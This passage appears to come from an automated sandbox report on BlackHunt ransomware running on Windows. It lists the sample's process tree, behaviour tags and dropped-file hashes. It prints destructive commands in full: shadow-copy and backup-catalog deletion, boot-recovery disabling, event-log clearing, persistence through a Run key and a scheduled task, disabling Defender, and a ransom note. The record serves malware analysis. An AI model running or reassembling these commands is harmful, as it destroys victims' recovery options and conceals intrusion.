                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                        2⤵
                                          PID:964
                                          • C:\Windows\system32\reg.exe
                                            reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                            3⤵
                                              PID:1476
                                          • C:\Windows\System32\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                            2⤵
                                              PID:668
                                              • C:\Windows\system32\reg.exe
                                                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                                3⤵
                                                  PID:1968
                                              • C:\Windows\System32\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
                                                2⤵
                                                  PID:3624
                                                  • C:\Windows\system32\reg.exe
                                                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
                                                    3⤵
                                                      PID:1076
                                                  • C:\Windows\System32\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                                    2⤵
                                                      PID:1260
                                                      • C:\Windows\system32\reg.exe
                                                        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                                        3⤵
                                                        • Modifies registry class
                                                        PID:3836
                                                    • C:\Windows\System32\cmd.exe
                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                      2⤵
                                                        PID:2076
                                                        • C:\Windows\system32\reg.exe
                                                          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                          3⤵
                                                            PID:2060
                                                        • C:\Windows\System32\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                          2⤵
                                                            PID:2428
                                                            • C:\Windows\system32\reg.exe
                                                              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                              3⤵
                                                                PID:952
                                                            • C:\Windows\System32\cmd.exe
                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                                              2⤵
                                                                PID:2768
                                                                • C:\Windows\system32\reg.exe
                                                                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                                                  3⤵
                                                                    PID:3320
                                                                • C:\Windows\System32\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                                                  2⤵
                                                                    PID:3692
                                                                  • C:\Windows\System32\cmd.exe
                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                                                    2⤵
                                                                      PID:4300
                                                                      • C:\Windows\system32\reg.exe
                                                                        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                                                        3⤵
                                                                          PID:4632
                                                                      • C:\Windows\System32\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                                                        2⤵
                                                                          PID:628
                                                                          • C:\Windows\system32\reg.exe
                                                                            reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                                                            3⤵
                                                                              PID:1292
                                                                          • C:\Windows\System32\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                                                                            2⤵
                                                                              PID:4640
                                                                              • C:\Windows\system32\vssadmin.exe
                                                                                vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                                                                                3⤵
                                                                                • Enumerates connected drives
                                                                                • Interacts with shadow copies
                                                                                PID:2748
                                                                            • C:\Windows\System32\cmd.exe
                                                                              "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                                                                              2⤵
                                                                                PID:4548
                                                                                • C:\Windows\system32\vssadmin.exe
                                                                                  vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                                                                                  3⤵
                                                                                  • Enumerates connected drives
                                                                                  • Interacts with shadow copies
                                                                                  PID:2444
                                                                              • C:\Windows\System32\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                                                                                2⤵
                                                                                  PID:4508
                                                                                  • C:\Windows\system32\vssadmin.exe
                                                                                    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                                                                                    3⤵
                                                                                    • Interacts with shadow copies
                                                                                    PID:8736
                                                                                • C:\Windows\System32\cmd.exe
                                                                                  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                                                                                  2⤵
                                                                                    PID:2672
                                                                                    • C:\Windows\system32\fsutil.exe
                                                                                      fsutil.exe usn deletejournal /D C:
                                                                                      3⤵
                                                                                      • Deletes NTFS Change Journal
                                                                                      PID:6652
                                                                                  • C:\Windows\System32\cmd.exe
                                                                                    "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                    2⤵
                                                                                      PID:2688
                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                        schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                        3⤵
                                                                                          PID:6740
                                                                                      • C:\Windows\System32\cmd.exe
                                                                                        "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                                                                                        2⤵
                                                                                          PID:1192
                                                                                          • C:\Windows\system32\wbadmin.exe
                                                                                            wbadmin.exe delete catalog -quiet
                                                                                            3⤵
                                                                                            • Deletes backup catalog
                                                                                            PID:7104
                                                                                        • C:\Windows\System32\cmd.exe
                                                                                          "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                          2⤵
                                                                                            PID:1820
                                                                                            • C:\Windows\system32\bcdedit.exe
                                                                                              bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                              3⤵
                                                                                              • Modifies boot configuration data using bcdedit
                                                                                              PID:6148
                                                                                          • C:\Windows\System32\cmd.exe
                                                                                            "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                                                                                            2⤵
                                                                                              PID:740
                                                                                              • C:\Windows\system32\bcdedit.exe
                                                                                                bcdedit /set {default} recoveryenabled No
                                                                                                3⤵
                                                                                                • Modifies boot configuration data using bcdedit
                                                                                                PID:5904
                                                                                            • C:\Windows\System32\cmd.exe
                                                                                              "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                                                                                              2⤵
                                                                                                PID:1756
                                                                                                • C:\Windows\system32\vssadmin.exe
                                                                                                  vssadmin.exe Delete Shadows /all /quiet
                                                                                                  3⤵
                                                                                                  • Interacts with shadow copies
                                                                                                  PID:7436
                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                                                                                                2⤵
                                                                                                  PID:4932
                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\ac57be56a89079debf734715ce3535ad3997ffeea84e64cc85fa63a89476596a.exe" /F
                                                                                                  2⤵
                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                  PID:2356
                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                                                                                  2⤵
                                                                                                    PID:2344
                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                    "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
                                                                                                    2⤵
                                                                                                      PID:4460
                                                                                                      • C:\Windows\system32\fsutil.exe
                                                                                                        fsutil usn deletejournal /D F:\
                                                                                                        3⤵
                                                                                                        • Enumerates connected drives
                                                                                                        PID:11792
                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                      "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
                                                                                                      2⤵
                                                                                                        PID:11724
                                                                                                        • C:\Windows\system32\fsutil.exe
                                                                                                          fsutil usn deletejournal /D M:\
                                                                                                          3⤵
                                                                                                          • Enumerates connected drives
                                                                                                          PID:12600
                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                        "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
                                                                                                        2⤵
                                                                                                          PID:11728
                                                                                                          • C:\Windows\system32\fsutil.exe
                                                                                                            fsutil usn deletejournal /D C:\
                                                                                                            3⤵
                                                                                                              PID:12928
                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                            "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
                                                                                                            2⤵
                                                                                                              PID:12296
                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                wevtutil.exe cl Setup
                                                                                                                3⤵
                                                                                                                • Clears Windows event logs
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:12672
                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                              "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
                                                                                                              2⤵
                                                                                                                PID:7116
                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                  wevtutil.exe cl System
                                                                                                                  3⤵
                                                                                                                  • Clears Windows event logs
                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                  PID:8132
                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
                                                                                                                2⤵
                                                                                                                  PID:7196
                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                    wevtutil.exe cl Application
                                                                                                                    3⤵
                                                                                                                    • Clears Windows event logs
                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                    PID:6832
                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
                                                                                                                  2⤵
                                                                                                                    PID:3848
                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                      wevtutil.exe cl Security
                                                                                                                      3⤵
                                                                                                                      • Clears Windows event logs
                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                      PID:12992
                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                    "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
                                                                                                                    2⤵
                                                                                                                      PID:7888
                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                        wevtutil.exe cl Security /e:false
                                                                                                                        3⤵
                                                                                                                        • Clears Windows event logs
                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                        PID:7580
                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                      "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                                                                                                                      2⤵
                                                                                                                        PID:6652
                                                                                                                        • C:\Windows\system32\vssadmin.exe
                                                                                                                          vssadmin.exe Delete Shadows /all /quiet
                                                                                                                          3⤵
                                                                                                                          • Interacts with shadow copies
                                                                                                                          PID:5368
                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                        "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                                                                                                                        2⤵
                                                                                                                          PID:7100
                                                                                                                          • C:\Windows\system32\bcdedit.exe
                                                                                                                            bcdedit /set {default} recoveryenabled No
                                                                                                                            3⤵
                                                                                                                            • Modifies boot configuration data using bcdedit
                                                                                                                            PID:14060
                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                          "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                          2⤵
                                                                                                                            PID:14348
                                                                                                                            • C:\Windows\system32\bcdedit.exe
                                                                                                                              bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                              3⤵
                                                                                                                              • Modifies boot configuration data using bcdedit
                                                                                                                              PID:4464
                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                                                                                                                            2⤵
                                                                                                                              PID:7596
                                                                                                                              • C:\Windows\system32\fsutil.exe
                                                                                                                                fsutil.exe usn deletejournal /D C:
                                                                                                                                3⤵
                                                                                                                                • Deletes NTFS Change Journal
                                                                                                                                PID:12740
                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                              "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                                                                                                                              2⤵
                                                                                                                                PID:12304
                                                                                                                                • C:\Windows\system32\wbadmin.exe
                                                                                                                                  wbadmin.exe delete catalog -quiet
                                                                                                                                  3⤵
                                                                                                                                  • Deletes backup catalog
                                                                                                                                  PID:12664
                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                                2⤵
                                                                                                                                  PID:12356
                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                                    3⤵
                                                                                                                                      PID:12768
                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                    "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
                                                                                                                                    2⤵
                                                                                                                                      PID:6920
                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                        REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
                                                                                                                                        3⤵
                                                                                                                                          PID:12784
                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                        "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
                                                                                                                                        2⤵
                                                                                                                                          PID:12852
                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                            SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
                                                                                                                                            3⤵
                                                                                                                                              PID:12416
                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                            "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
                                                                                                                                            2⤵
                                                                                                                                              PID:6764
                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
                                                                                                                                                3⤵
                                                                                                                                                  PID:12796
                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
                                                                                                                                                2⤵
                                                                                                                                                  PID:14100
                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
                                                                                                                                                    3⤵
                                                                                                                                                      PID:12116
                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
                                                                                                                                                    2⤵
                                                                                                                                                      PID:12896
                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                        reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
                                                                                                                                                        3⤵
                                                                                                                                                          PID:12800
                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
                                                                                                                                                        2⤵
                                                                                                                                                          PID:12948
                                                                                                                                                          • C:\Windows\system32\notepad.exe
                                                                                                                                                            notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
                                                                                                                                                            3⤵
                                                                                                                                                              PID:12616
                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
                                                                                                                                                            2⤵
                                                                                                                                                              PID:12752
                                                                                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                                                                                taskkill /IM mshta.exe /f
                                                                                                                                                                3⤵
                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                PID:13532
                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\ac57be56a89079debf734715ce3535ad3997ffeea84e64cc85fa63a89476596a.exe"
                                                                                                                                                              2⤵
                                                                                                                                                                PID:12388
                                                                                                                                                                • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                  ping 127.0.0.1 -n 5
                                                                                                                                                                  3⤵
                                                                                                                                                                  • Runs ping.exe
                                                                                                                                                                  PID:13496
                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
                                                                                                                                                                2⤵
                                                                                                                                                                • Checks computer location settings
                                                                                                                                                                • Modifies registry class
                                                                                                                                                                PID:12376
                                                                                                                                                                • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                  "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:12412
                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 12412 -s 1464
                                                                                                                                                                      4⤵
                                                                                                                                                                      • Program crash
                                                                                                                                                                      PID:9596
                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
                                                                                                                                                                1⤵
                                                                                                                                                                  PID:3384
                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                  reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
                                                                                                                                                                  1⤵
                                                                                                                                                                  • Adds Run key to start application
                                                                                                                                                                  PID:1916
                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                  reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
                                                                                                                                                                  1⤵
                                                                                                                                                                    PID:3836
                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
                                                                                                                                                                    1⤵
                                                                                                                                                                    • Modifies registry class
                                                                                                                                                                    PID:4056
                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
                                                                                                                                                                    1⤵
                                                                                                                                                                      PID:3348
                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                      reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
                                                                                                                                                                      1⤵
                                                                                                                                                                      • Modifies registry class
                                                                                                                                                                      PID:968
                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                                                                                                                                                      1⤵
                                                                                                                                                                        PID:4796
                                                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                        1⤵
                                                                                                                                                                        • Modifies registry class
                                                                                                                                                                        PID:3348
                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                        reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                                                                                                                                                        1⤵
                                                                                                                                                                          PID:2976
                                                                                                                                                                        • C:\Windows\system32\vssvc.exe
                                                                                                                                                                          C:\Windows\system32\vssvc.exe
                                                                                                                                                                          1⤵
                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                          PID:1540
                                                                                                                                                                        • C:\Windows\system32\vssadmin.exe
                                                                                                                                                                          vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                                                                                                                                                                          1⤵
                                                                                                                                                                          • Interacts with shadow copies
                                                                                                                                                                          PID:1760
                                                                                                                                                                        • C:\Windows\system32\wbengine.exe
                                                                                                                                                                          "C:\Windows\system32\wbengine.exe"
                                                                                                                                                                          1⤵
                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                          PID:7648
                                                                                                                                                                        • C:\Windows\System32\vdsldr.exe
                                                                                                                                                                          C:\Windows\System32\vdsldr.exe -Embedding
                                                                                                                                                                          1⤵
                                                                                                                                                                            PID:13064
                                                                                                                                                                          • C:\Windows\System32\vds.exe
                                                                                                                                                                            C:\Windows\System32\vds.exe
                                                                                                                                                                            1⤵
                                                                                                                                                                            • Checks SCSI registry key(s)
                                                                                                                                                                            PID:6828
                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 12412 -ip 12412
                                                                                                                                                                            1⤵
                                                                                                                                                                              PID:13040

                                                                                                                                                                            Network

                                                                                                                                                                                  MITRE ATT&CK Enterprise v15

                                                                                                                                                                                  Replay Monitor

                                                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                                                  Downloads

                                                                                                                                                                                  • C:\#BlackHunt_Private.key

                                                                                                                                                                                    Filesize

                                                                                                                                                                                    1KB

                                                                                                                                                                                    MD5

                                                                                                                                                                                    5cff626de13c91fbaab65998e4f66369

                                                                                                                                                                                    SHA1

                                                                                                                                                                                    ae92ee042c33af032431a92e4fc0b25ab05513b1

                                                                                                                                                                                    SHA256

                                                                                                                                                                                    9160e0a74c9df215ca0f2cc18e16b93e866a8acc0490647636b35adda2f9c3bb

                                                                                                                                                                                    SHA512

                                                                                                                                                                                    7fc150e684f99cc5dc02b9c11ad226453bab91c108a3c559777e66095e05a904556f59be2c2e1c06b73ba46f21ee21ebd995c0baecac57360e0e0105989331f0

                                                                                                                                                                                  • C:\#BlackHunt_ReadMe.hta

                                                                                                                                                                                    Filesize

                                                                                                                                                                                    12KB

                                                                                                                                                                                    MD5

                                                                                                                                                                                    877b337f24e833a02184ea1e6bceff7e

                                                                                                                                                                                    SHA1

                                                                                                                                                                                    dc981d162f386da357c7d48b202d33e9cbcdd6bb

                                                                                                                                                                                    SHA256

                                                                                                                                                                                    d211d9e96675a0a47935b75950054a2bdd529f9495d18b200b0a390970c7a56f

                                                                                                                                                                                    SHA512

                                                                                                                                                                                    743104e639816a6fbdc0cc7ae5df1abdc16bd3dfc4e4158e1869ffe7c79791638da88ec45c6dfe6802a04416ef1410004961a98048a5eb6d77e871e432937378

                                                                                                                                                                                  • F:\#BlackHunt_ReadMe.txt

                                                                                                                                                                                    Filesize

                                                                                                                                                                                    684B

                                                                                                                                                                                    MD5

                                                                                                                                                                                    bb2463997b746ad881d0448bdc44ea2f

                                                                                                                                                                                    SHA1

                                                                                                                                                                                    8213cfdc7ed26a2932e6a7ae32c3ab10a5adf8a7

                                                                                                                                                                                    SHA256

                                                                                                                                                                                    36a8c753312c37aec7d0c4cb5763d01f0d13f97fdf0dda21c30a899ec6b1cf6d

                                                                                                                                                                                    SHA512

                                                                                                                                                                                    669ffca8935bab03769905bdb02032be40bba1dc7900d90bfcc8d09e16760ea567c9f6e16646c934cfb7417da95a3f880d2333432b1d304d2dc29f5782c959f9